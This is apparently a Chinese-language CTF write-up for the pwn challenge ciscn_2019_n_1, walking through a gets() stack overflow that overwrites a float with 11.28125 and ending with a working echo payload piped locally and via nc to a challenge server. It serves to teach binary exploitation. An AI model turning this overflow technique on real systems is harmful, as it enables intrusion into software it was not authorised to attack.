通过直接刷题逆向学习pwn:ciscn_2019_n_1 - 浮点数溢出与IEEE 754编码实战

查看文件详情

使用checksec查看文件保护

1
checksec --file=ciscn_2019_n_1

image-20250928230324587

  • No canary found没有栈溢出保护,可以直接栈溢出
  • No PIE代码段地址固定,可以直接硬编码地址
  • Partial RELRO:GOT表可写,便于GOT劫持攻击

这个题开启了NX (No-eXecute)

其实之前解题也没有直接传shellcode影响不大(

作用: 防止在栈或堆上执行代码

工作原理:

  • 将内存页标记为不可执行
  • 即使注入shellcode也无法执行

NX保护主要防止的是直接在栈上执行代码,但我们之前的攻击策略是:

攻击方式叫做ROP(Return-Oriented Programming)

1
栈溢出 → 覆盖返回地址 → 跳转到已有的system("/bin/sh")代码
特性 传统shellcode注入 ROP攻击
执行位置 栈上执行shellcode 代码段执行已有函数
NX保护影响 被NX阻止 可绕过NX
所需条件 栈可执行 程序中有可用gadgets
攻击复杂度 简单直接 相对复杂
payload结构 padding + shellcode + 返回地址 padding + ROP链地

padding是填充数据的意思

查看文件 查到为64Bit 等一会使用IDA64打开

image-20250929141041702

IDA分析

使用IDA64打开软件 mian函数伪代码如下

image-20250929141305910

代码中主要内容为func函数,双击func函数打开

image-20250929141450959

func函数伪代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
int func()
{
char v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]

v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
return system("cat /flag");
else
return puts("Its value should be 11.28125");
}

含义如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int func()
{
char v1[44]; // [rsp+0h] [rbp-30h] BYREF - 声明44字节的字符数组
float v2; // [rsp+2Ch] [rbp-4h] - 声明浮点变量,紧跟在v1之后

v2 = 0.0; // 初始化v2为0.0
puts("Let's guess the number."); // 输出提示信息
gets(v1); // 不安全的输入函数,可能导致缓冲区溢出

// 关键检查:如果v2的值被修改为11.28125就获取flag
if ( v2 == 11.28125 )
return system("cat /flag"); // 成功:读取并显示flag文件内容
else
return puts("Its value should be 11.28125"); // 失败:显示预期值
}

正常程序运行逻辑

  1. 程序启动 → 执行 main 函数
  2. I/O初始化 → 设置无缓冲模式
  3. 调用func → 进入核心功能函数
  4. 变量声明 → 分配44字节缓冲区和浮点变量 v2=0.0
  5. 显示提示 → 输出”Let’s guess the number.”
  6. 等待输入 → 用户通过 gets(v1) 输入数据
  7. 安全检查 → 检查 if (v2 == 11.28125)
  8. 条件为假 → 由于 v2 仍然是初始值 0.0
  9. 显示错误 → 输出”Its value should be 11.28125”
  10. 程序退出 → 返回主函数并结束

注入攻击逻辑

  1. 程序启动 → 执行 main 函数
  2. I/O初始化 → 设置无缓冲模式
  3. 调用func → 进入核心功能函数
  4. 变量声明 → 分配44字节缓冲区和浮点变量 v2=0.0
  5. 显示提示 → 输出”Let’s guess the number.”
  6. 恶意输入 → 用户输入精心构造的payload:
    • 前44字节:任意填充数据
    • 后续4字节:浮点数 11.28125 的二进制表示
  7. 缓冲区溢出gets() 不检查边界,数据溢出覆盖 v2 变量
  8. 安全检查 → 检查 if (v2 == 11.28125)
  9. 条件为真 → 因为 v2 被溢出数据修改为 11.28125
  10. 获取flag → 执行 system("cat /flag") 显示flag内容

攻击结果:成功利用缓冲区溢出漏洞获取flag

需要覆盖多少的值?

查看代码可以发现

1
2
char v1[44];    // 声明了44个字节的数组
float v2; // 浮点数占用4个字节

内存布局

  • v1 占用了前44个”储物柜”
  • v2 紧挨着占用后面4个”储物柜”

攻击方法:

输入超过44个字符 + 4字节(将v2的值改写为11.28125即可获得flag)

1
2
[A][A][A][A]...[A][A][A][A] | [特][殊][数][字]
前44个'A'(填充) | 后4个特殊数字(覆盖v2)

将IEEE 754浮点数转换为十六进制

打开在线网站输入11.28125转换为十六进制

网站:http://www.speedfly.cn/tools/hexconvert/

image-20251001002002048

补充:这个转换过程就像是给数字”11.28125”制作一个计算机能识别的身份证——IEEE 754标准规定了统一的编码格式,确保在任何支持该标准的计算机系统中,相同的浮点数都有唯一的二进制表示。

人类语言 计算机语言
11.28125 0x41348000

理解内存中的字节顺序

1
2
char v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]
  • rbp 寄存器表明这是 x86-64 架构
  • x86 和 x86-64 架构都是小端序
  • 这是行业标准,就像开车靠右行驶一样

为了便于理解小端序,想象你要在信封上写地址:

大端序(人类习惯):

1
2
省 市 区 街道 门牌号
"山东省 济南市 市中区 XXX街道 XXX号"

小端序(计算机习惯):

1
2
门牌号 街道 区 市 省  
"XXX号 XXX街道 市中区 济南市 山东省"

数字 0x41348000 在内存中的存放:

大端序的顺序:

1
2
3
4
字节0: 0x41
字节1: 0x34
字节2: 0x80
字节3: 0x00

小端序实际存储:

1
2
3
4
字节0: 0x00  ← 最低位在前
字节1: 0x80
字节2: 0x34
字节3: 0x41 ← 最高位在最后

这个东西转换也是有在线工具的:https://www.toolhelper.cn/Digit/LittleBigEndianConvert(这道题自己转换就够了

最后转换为\x00\x80\x34\x41的格式就可以啦

补充:为什么最终要写成 \x00\x80\x34\x41 这样的格式?

简单来说,\x 就像是给计算机的”喂食指令”。当我们把十六进制数 00 80 34 41 前面都加上 \x,就相当于告诉计算机:”请直接把这些数字当作字节数据吃掉,不要当成普通文字!”

格式 用途 好比
0x41348000 给人看的数字表示 菜单上的菜名
\x00\x80\x34\x41 计算机实际处理的字节 端上桌的菜品

在Python等编程语言中,\x 开头的表示法就是在说:”我后面这两个字符是一个真实的字节”,这样计算机就能准确地把我们构造的数字”喂”给目标程序了。

使用Linux自带命令尝试溢出

注入原理

1
2
3
4
v1数组(44字节)        v2变量(4字节)
[AAAAAAAAAAAAAAAA...AAAA] [0.0] ← 注入前
[AAAAAAAAAAAAAAAA...AAAA] [11.28125] ← 注入后
↑44个填充字节 ↑4个字节覆盖

使用echo语句就能完成啦(先用本地文件进行测试)

1
echo -ne 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x80\x34\x41' | ./ciscn_2019_n_1

命令分解:

部分 作用
echo -ne 输出不换行的原始字节数据
44个A 填满v1数组的44字节空间
\x00\x80\x34\x41 覆盖v2变量为11.28125
| 管道符
./ciscn_2019_n_1 打开对应文件

image-20251001003901070

成功执行了cat flag命令! 也就是这个注入方式是没有问题的,只不过本地不是靶机并没有存放flag,下一步构建新的命令使用nc连接远端服务器就好啦!

起初我把命令改成了这样(错误示范)

直接就失败了(

1
echo -ne 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x80\x34\x41' | nc node5.buuoj.cn 25389

image-20251001004154113

问题原因: echo 命令发送完payload后立即关闭连接,程序还没机会输出flag!

linux管道工作原理(想象版本):

1
echo → 发送数据 → 立即结束 → 关闭管道 → nc连接断开 → 程序被终止

我们在命令里面加一个cat命令就可以实现以下流程:

1
(echo发送payload ; cat保持输入流打开) → 持续连接 → 程序输出flag → cat转发给我们

正确的shell命令

1
(echo -ne 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x80\x34\x41'; cat) | nc node5.buuoj.cn 25389

成功拿到Flag!

image-20251001004410794